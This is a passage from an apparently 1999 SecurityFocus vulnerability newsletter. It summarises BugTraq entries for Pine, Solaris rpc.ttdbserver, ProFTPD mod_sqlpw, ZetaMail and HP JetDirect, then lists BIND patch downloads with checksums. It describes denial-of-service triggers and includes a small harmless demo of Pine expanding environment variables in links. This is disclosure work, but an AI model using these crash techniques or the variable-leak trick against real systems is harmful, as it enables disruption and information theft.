many local syslog connections in a short period of time. Unfortunately,
more details are lacking on this vulnerability.
10. Pine Environment Variable Expansion in URLS Vulnerability
BugTraq ID: 810
Remote: Yes
Date Published: 1999-11-18
Relevant URL:
http://www.securityfocus.com/bid/810
Summary:
When pine handles email formatted with or containing HTML, urls which
contain shell variables defined on the local machine where the client is
running are expanded when followed. This can cause many security
problems, ranging from sending expanded variables to webservers in the
form of cgi parameters (and then logged to collect information about the
target) to possibly executing arbitrary commands on the target host
through malicious email. The following example was given by Jim Hebert
<jhebert@jhebert.cx> in his post to BugTraq:
echo 'setenv WWW www.securityfocus.com' >> .tcshrc
source .tcshrc
pine
(view a link I mailed myself like: http://$WWW )
it works, I visit securityfocus.
11. Solaris rpc.ttdbserver Denial of Service Vulnerability
BugTraq ID: 811
Remote: Yes
Date Published: 1999-11-19
Relevant URL:
http://www.securityfocus.com/bid/811
Summary:
It is possible to crash rpc.ttdbserver by using an old tddbserver buffer
overflow exploit. This problem is caused by a NULL pointer being
dereferenced when rpc function 15 is called with garbage. You cannot make
rpc.ttdbserver execute arbitrary code with this vulnerability. The
consequence of this vulnerability being exploited is a denial of service
condition (rpc.ttdbserver).
12. ProFTPD mod_sqlpw Vulnerability
BugTraq ID: 812
Remote: No
Date Published: 1999-11-19
Relevant URL:
http://www.securityfocus.com/bid/812
Summary:
Compiling the mod_sqlpw module into ProFTPD makes it possible for local
users to view the passwords of users who have connected to the ftp server.
When the module is used, it writes information to wtmp. Unfortunately, it
writes the password to wtmp where the username should be. The passwords
can be seen when a command such as 'last' is used locally.
13. ZetaMail Login DoS Vulnerability
BugTraq ID: 813
Remote: Yes
Date Published: 1999-11-18
Relevant URL:
http://www.securityfocus.com/bid/813
Summary:
The ZetaMail mail server will crash if a username/password pair longer
than 3500 characters is supplied by the client.
14. HP JetDirect Internal Webserver Long URL DoS Vulnerability
BugTraq ID: 814
Remote: Yes
Date Published: 1999-11-18
Relevant URL:
http://www.securityfocus.com/bid/814
Summary:
The JetDirect J3111A module is used to connect many models of HP printers
to a network. It includes a bult-in webserver for remote printer
administration. This server is vulnerable due to an overflowable buffer in
the code that handles incoming URLs. If a URL longer than 256 characters
is requested the printer will crash.
III. PATCH UPDATES 1999-11-15 to 1999-11-21
-------------------------------------------
1. Vendor: SCO
Product: UnixWare 2.1.3 & UnixWare 7.0.0 through 7.1.1
Patch Location:
ftp://ftp.sco.COM/SSE/sse033.ltr (cover letter, ASCII text)
ftp://ftp.sco.COM/SSE/sse033.tar.Z (new binaries, compressed tar file)
Vulnerability Patched: Multiple BIND Vulnerabilities
BugTraq ID: 788
Relevant URLS:
http://www.securityfocus.com/bid/788
Note:
SCO is providing an interim patch to address this issue in the form of a
System Security Enhancement (SSE) package.
2. Vendor: Debian
Product: Debian Linux
Patch Location:
Source archives:
http://security.debian.org/dists/stable/updates/source/bind_8.2.2p5-0slink1.diff.gz
MD5 checksum: 7e869545b7fab796e264f2ac3b726030
http://security.debian.org/dists/stable/updates/source/bind_8.2.2p5-0slink1.dsc
MD5 checksum: 8dd6f2726596d6d37088309e7a42fa7c
http://security.debian.org/dists/stable/updates/source/bind_8.2.2p5.orig.tar.gz
MD5 checksum: e910c207e3a419b1fdba646c28ee3102
Alpha architecture:
http://security.debian.org/dists/stable/updates/binary-alpha/bind_8.2.2p5-0slink1_alpha.deb
MD5 checksum: e7eb3c2b03963338bafc3c13bdec776f
http://security.debian.org/dists/stable/updates/binary-alpha/dnsutils_8.2.2p5-0slink1_alpha.deb
MD5 checksum: e559e74e9b2ba8565974d5c21611a474
Intel ia32 architecture:
http://security.debian.org/dists/stable/updates/binary-i386/bind_8.2.2p5-0slink1_i386.deb
MD5 checksum: f25811f6d69034ea64c65382e6c9717d
http://security.debian.org/dists/stable/updates/binary-i386/dnsutils_8.2.2p5-0slink1_i386.deb
MD5 checksum: ce8a20f23ec3246cab484776652a18a4
Motorola 680x0 architecture:
http://security.debian.org/dists/stable/updates/binary-m68k/bind_8.2.2p5-0slink1_m68k.deb
MD5 checksum: f7e4c91d75bbd03325cfa666a3da35d7
http://security.debian.org/dists/stable/updates/binary-m68k/dnsutils_8.2.2p5-0slink1_m68k.deb
MD5 checksum: 388f6dbae6ce8e897dfd636e4b3f15c6
Sun Sparc architecture:
http://security.debian.org/dists/stable/updates/binary-sparc/bind_8.2.2p5-0slink1_sparc.deb
MD5 checksum: adf299fcdc50c8db77b5b3f462633b0f
http://security.debian.org/dists/stable/updates/binary-sparc/dnsutils_8.2.2p5-0slink1_sparc.deb
MD5 checksum: 89d1729caf15d6b51e2e5f8b6fccf5c4
Vulnerability Patched: Multiple BIND Vulnerabilities
BugTraq ID: 788
Relevant URLS:
http://www.securityfocus.com/bid/788
Note:
These files will be moved into:
ftp://ftp.debian.org/debian/dists/stable/*/binary-$arch/ soon.
This version of Debian was released only for Intel, the Motorola
680x0, the alpha and the Sun sparc architecture.
3. Vendor: SuSE
Product: SuSE Linux
Patch Location:
ftp://ftp.suse.com/p
